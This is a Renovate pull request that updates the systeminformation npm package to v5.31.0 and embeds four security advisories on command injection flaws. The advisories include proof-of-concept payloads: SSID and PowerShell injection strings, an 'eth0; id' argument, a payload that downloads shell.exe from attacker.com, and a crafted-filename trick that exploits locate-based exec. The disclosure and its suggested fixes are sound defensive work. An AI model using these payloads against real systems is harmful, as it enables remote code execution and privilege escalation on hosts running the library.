Skip to content

Comments

Update dependency systeminformation to v5.31.0 [SECURITY]#2317

Open
renovate[bot] wants to merge 1 commit intomei-dolphinfrom
renovate/npm-systeminformation-vulnerability
Open

Update dependency systeminformation to v5.31.0 [SECURITY]#2317
renovate[bot] wants to merge 1 commit intomei-dolphinfrom
renovate/npm-systeminformation-vulnerability

Conversation

@renovate
Copy link

@renovate renovate bot commented Feb 19, 2026

This PR contains the following updates:

Package Change Age Confidence
systeminformation (source) 5.27.145.31.0 age confidence

GitHub Vulnerability Alerts

CVE-2024-56334

Summary

The SSID is not sanitized when before it is passed as a parameter to cmd.exe in the getWindowsIEEE8021x function. This means that malicious content in the SSID can be executed as OS commands.

Details

I have exploited this vulnerability in a Windows service using version 5.22.11 of the module, to escalate privileges (in an environment where I am authorized to do so). However, as far as I can see from the code, it is still present in master branch at time of writing, on line 403/404 of network.js.

The SSID is obtained from netsh wlan show interface ... in getWindowsWirelessIfaceSSID, and then passed to cmd.exe /d /s /c "netsh wlan show profiles ... in getWindowsIEEE8021x, without sanitization.

PoC

First, the command injection payload should be included in the connected Wi-Fi SSID. For example create hotspot on mobile phone or other laptop, set SSID to payload, connect to it with victim Windows system. Two example SSID's to demonstrate exploitation are below.

Demonstration to run ping command indefinitely:

a" | ping /t 127.0.0.1 &

Run executable with privileges of the user in which vulnerable function is executed. Chosen executable should should be placed in (assuming system drive is C): C:\a\a.exe.

a" | %SystemDrive%\a\a.exe &

Then, the vulnerable function can be executed on the victim system, for example, using:

const si = require('systeminformation');
si.networkInterfaces((net) => { console.log(net) });

Now the chosen command, PING.exe or a.exe will be run through the cmd.exe command line.

Impact

This vulnerability may enable an attacker, depending on how the package is used, to perform remote code execution or local privilege escalation.

CVE-2025-68154

Summary

The fsSize() function in systeminformation is vulnerable to OS Command Injection (CWE-78) on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.

Affected Platforms: Windows only

CVSS Breakdown:

  • Attack Vector (AV:N): Network - if used in a web application/API
  • Attack Complexity (AC:H): High - requires application to pass user input to fsSize()
  • Privileges Required (PR:N): None - no authentication required at library level
  • User Interaction (UI:N): None
  • Scope (S:U): Unchanged - executes within Node.js process context
  • Confidentiality/Integrity/Availability (C:H/I:H/A:H): High impact if exploited

Note: The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to fsSize(), it is not vulnerable.


Details

Vulnerable Code Location

File: lib/filesystem.js, Line 197

if (_windows) {
  try {
    const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
    util.powerShell(cmd).then((stdout, error) => {

The drive parameter is concatenated directly into the PowerShell command string without any sanitization.

Why This Is a Vulnerability

This is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using util.sanitizeShellString():

File Line Function Sanitization
lib/processes.js 141 services() util.sanitizeShellString(srv)
lib/processes.js 1006 processLoad() util.sanitizeShellString(proc)
lib/network.js 1253 networkStats() util.sanitizeShellString(iface)
lib/docker.js 472 dockerContainerStats() util.sanitizeShellString(containerIDs, true)
lib/filesystem.js 197 fsSize() No sanitization

The sanitizeShellString() function (defined at lib/util.js:731) removes dangerous characters like ;, &, |, $, `, #, etc., which would prevent command injection.


PoC

Attack Scenario

An application exposes disk information via an API and passes user input to si.fsSize():

// Vulnerable application example
const si = require('systeminformation');
const http = require('http');
const url = require('url');

http.createServer(async (req, res) => {
  const parsedUrl = url.parse(req.url, true);
  const drive = parsedUrl.query.drive; // User-controlled input
  
  // VULNERABLE: User input passed directly to fsSize()
  const diskInfo = await si.fsSize(drive);
  
  res.end(JSON.stringify(diskInfo));
}).listen(3000);

Exploitation

Normal Request:

GET /api/disk?drive=C:

Malicious Request (Command Injection):

GET /api/disk?drive=C:;%20whoami%20%23

Command Construction Demonstration

The following demonstrates how commands are constructed with malicious input:

Normal usage:

Input: "C:"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl

With injection payload C:; whoami #:

Input: "C:; whoami #"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl
                                                                                                                            ↑         ↑
                                                                                                            semicolon terminates    # comments out rest
                                                                                                            first command

PowerShell will execute:

  1. Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C: (original command)
  2. whoami (injected command)
  3. Everything after # is commented out

PoC Script

/**
 * Command Injection PoC - systeminformation fsSize()
 * 
 * Run with: node poc.js
 * Requires: npm install systeminformation
 */

const os = require('os');

// Simulates the vulnerable command construction from filesystem.js:197
function simulateVulnerableCommand(drive) {
  const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
  return cmd;
}

// Test payloads
const payloads = [
  { name: 'Normal', input: 'C:' },
  { name: 'Command Execution', input: 'C:; whoami #' },
  { name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\temp\\procs.txt #' },
  { name: 'Remote Payload', input: 'C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #' },
];

console.log('=== Command Injection PoC ===\n');
console.log(`Platform: ${os.platform()}`);
console.log(`Note: Actual exploitation requires Windows\n`);

payloads.forEach(p => {
  console.log(`[${p.name}]`);
  console.log(`  Input: ${p.input}`);
  console.log(`  Command: ${simulateVulnerableCommand(p.input)}\n`);
});

PoC Output

=== Command Injection PoC ===

Platform: win32
Note: Actual exploitation requires Windows

[Normal]
  Input: C:
  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl

[Command Execution]
  Input: C:; whoami #
  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl

[Data Exfiltration]
  Input: C:; Get-Process | Out-File C:\temp\procs.txt #
  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\temp\procs.txt # | fl

[Remote Payload]
  Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe #
  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # | fl

As shown, the attacker's commands are injected directly into the PowerShell command string.


Impact

Who Is Affected?

  • Applications running systeminformation on Windows that pass user-controlled input to fsSize(drive)
  • Web applications, APIs, or CLI tools that accept drive letters from users
  • Monitoring dashboards that allow users to specify which drives to query

Potential Attack Scenarios

  1. Remote Code Execution (RCE) - Execute arbitrary commands with Node.js process privileges
  2. Data Exfiltration - Read sensitive files and exfiltrate data
  3. Privilege Escalation - If Node.js runs with elevated privileges
  4. Lateral Movement - Use the compromised system to attack internal network
  5. Ransomware Deployment - Download and execute malicious payloads

Recommended Fix

Apply util.sanitizeShellString() to the drive parameter, consistent with other functions in the codebase:

  if (_windows) {
    try {
+     const driveSanitized = drive ? util.sanitizeShellString(drive, true) : '';
-     const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
+     const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? '| where -property Caption -eq ' + driveSanitized : ''} | fl`;
      util.powerShell(cmd).then((stdout, error) => {

The true parameter enables strict mode which removes additional characters like spaces and parentheses.


systeminformation thanks developers working on the project. The Systeminformation Project hopes this report helps improve the its security. Please systeminformation know if any additional information or clarification is needed.

CVE-2026-26280

Summary

A command injection vulnerability in the wifiNetworks() function allows an attacker to execute arbitrary OS commands via an unsanitized network interface parameter in the retry code path.

Details

In lib/wifi.js, the wifiNetworks() function sanitizes the iface parameter on the initial call (line 437). However, when the initial scan returns empty results, a setTimeout retry (lines 440-441) calls getWifiNetworkListIw(iface) with the original unsanitized iface value, which is passed directly to execSync('iwlist ${iface} scan').

PoC

  1. Install systeminformation@5.30.7
  2. Call si.wifiNetworks('eth0; id')
  3. The first call sanitizes input, but if results are empty, the retry executes: iwlist eth0; id scan

Impact

Remote Code Execution (RCE). Any application passing user-controlled input to si.wifiNetworks() is vulnerable to arbitrary command execution with the privileges of the Node.js process.

CVE-2026-26318

Command Injection via Unsanitized locate Output in versions() — systeminformation

Package: systeminformation (npm)
Tested Version: 5.30.7
Affected Platform: Linux
Author: Sebastian Hildebrandt
Weekly Downloads: ~5,000,000+
Repository: https://github.com/sebhildebrandt/systeminformation
Severity: Medium
CWE: CWE-78 (OS Command Injection)


The Vulnerable Code Path

Inside the versions() function, when detecting the PostgreSQL version on Linux, the code does this:

// lib/osinfo.js — lines 770-776

exec('locate bin/postgres', (error, stdout) => {
  if (!error) {
    const postgresqlBin = stdout.toString().split('\n').sort();
    if (postgresqlBin.length) {
      exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => {
        // parses version string...
      });
    }
  }
});

Here's what happens step by step:

  1. It runs locate bin/postgres to search the filesystem for PostgreSQL binaries
  2. It splits the output by newline and sorts the results alphabetically
  3. It takes the last element (highest alphabetically)
  4. It concatenates that path directly into a new exec() call with + ' -V'

No sanitizeShellString(). No path validation. No execFile(). Raw string concatenation into exec().

The locate command reads from a system-wide database (plocate.db or mlocate.db) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to exec().


Exploitation

Prerequisites

For this vulnerability to be exploitable, the following conditions must be met:

  1. Target system runs Linux — the vulnerable code path is inside an if (_linux) block
  2. locate / plocate is installed — common on Ubuntu, Debian, Fedora, RHEL
  3. PostgreSQL binary exists in the locate database — so locate bin/postgres returns results (otherwise the code falls through to a safe psql -V fallback)
  4. The attacker can create files on the filesystem — in any directory that gets indexed by updatedb
  5. The locate database gets updatedupdatedb runs daily via systemd timer (plocate-updatedb.timer) or cron on most distros

Step 1 — Verify the Environment

On the target machine, confirm locate is available and running:

which locate

# /usr/bin/locate

systemctl list-timers | grep plocate

# plocate-updatedb.timer    plocate-updatedb.service
# (runs daily, typically around 1-2 AM)

Check who owns the locate database:

ls -la /var/lib/plocate/plocate.db

# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db

Database is root-owned and updated by root. Regular users cannot update it directly, but updatedb runs on a daily schedule and indexes all readable files.

Step 2 — Craft the Malicious File Path

The key insight is that Linux allows semicolons in filenames, and exec() passes strings through /bin/sh -c which interprets semicolons as command separators.

Create a file whose path contains an injected command:

mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin"
touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres"

Verify it exists:

find /var/tmp -name postgres

# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

This file needs to end up in the locate database. On a real system, this happens automatically when updatedb runs overnight. For testing purposes:

sudo updatedb

Then verify locate picks it up:

locate bin/postgres

# /usr/lib/postgresql/14/bin/postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

Step 3 — Understand the Sort Trick

The vulnerable code sorts the locate results alphabetically and takes the last element:

const postgresqlBin = stdout.toString().split('\n').sort();
exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...);

Alphabetically, /var/ sorts after /usr/. So our malicious path naturally becomes the selected one:

Node.js sort order:
  [0] /usr/lib/postgresql/14/bin/postgres   ← legitimate
  [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres   ← selected (last)

Quick verification:

node -e "
const paths = [
  '/usr/lib/postgresql/14/bin/postgres',
  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
];
console.log('Sorted:', paths.sort());
console.log('Selected (last):', paths[paths.length - 1]);
"

Output:

Sorted: [
  '/usr/lib/postgresql/14/bin/postgres',
  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
]
Selected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

Step 4 — Trigger the Vulnerability

Now when any application using systeminformation calls versions() requesting the postgresql version, the injected command fires:

const si = require('systeminformation');

// This is a normal, innocent API call
si.versions('postgresql').then(data => {
  console.log(data);
});

Internally, the library builds and executes this command:

/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V

The shell (/bin/sh -c) interprets this as three separate commands:

/var/tmp/x                         →  fails silently (not executable)
touch /tmp/SI_RCE_PROOF            →  ATTACKER'S COMMAND EXECUTES
/bin/postgres -V                   →  runs normally, returns version

Step 5 — Verify Code Execution

ls -la /tmp/SI_RCE_PROOF

# -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF

The file exists. Arbitrary command execution confirmed.

The injected command runs with whatever privileges the Node.js process has. In a monitoring dashboard or backend API context, that's typically the application service account.


Real-World Attack Scenarios

Scenario 1 — Shared Hosting / Multi-Tenant Server

A low-privileged user on a shared server creates the malicious file in /tmp or their home directory. The hosting provider runs a monitoring agent that uses systeminformation for health dashboards. Next time the agent calls versions(), the attacker's command executes under the monitoring agent's (higher-privileged) service account.

Scenario 2 — CI/CD Pipeline Poisoning

A malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses systeminformation for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys.

Scenario 3 — Container / Kubernetes Escape

In containerized environments where /var or /tmp sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running systeminformation) calls versions(), the injected command executes on the host, breaking out of the container boundary.


Suggested Fix

Replace exec() with execFile() for the PostgreSQL binary version check. execFile() does not spawn a shell, so metacharacters in the path are treated as literal characters:

const { execFile } = require('child_process');

exec('locate bin/postgres', (error, stdout) => {
  if (!error) {
    const postgresqlBin = stdout.toString().split('\n')
      .filter(p => p.trim().length > 0)
      .sort();
    if (postgresqlBin.length) {
      execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) => {
        // ... parse version
      });
    }
  }
});

Additionally, the locate output should be validated against a safe path pattern before use:

const safePath = /^[a-zA-Z0-9/_.-]+$/;
const postgresqlBin = stdout.toString().split('\n')
  .filter(p => safePath.test(p.trim()))
  .sort();

Disclosure


Release Notes

sebhildebrandt/systeminformation (systeminformation)

v5.31.0

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.8...v5.31.0

v5.30.8

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.7...v5.30.8

v5.30.7

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.6...v5.30.7

v5.30.6

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.5...v5.30.6

v5.30.5

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.4...v5.30.5

v5.30.4

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.3...v5.30.4

v5.30.3

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.2...v5.30.3

v5.30.2

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.1...v5.30.2

v5.30.1

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.0...v5.30.1

v5.30.0

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.29.1...v5.30.0

v5.29.1

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.29.0...v5.29.1

v5.29.0

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.28.10...v5.29.0

v5.28.10

Compare Source

v5.28.9

Compare Source

v5.28.8

Compare Source

v5.28.7

Compare Source

v5.28.6

Compare Source

v5.28.5

Compare Source

v5.28.4

Compare Source

v5.28.3

Compare Source

v5.28.2

Compare Source

v5.28.1

Compare Source

v5.28.0

Compare Source

v5.27.17

Compare Source

v5.27.16

Compare Source

v5.27.15

Compare Source


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/npm-systeminformation-vulnerability branch from 5e99a91 to 7477f3d Compare February 20, 2026 11:13
@renovate renovate bot changed the title Update dependency systeminformation to v5.30.8 [SECURITY] Update dependency systeminformation to v5.31.0 [SECURITY] Feb 20, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants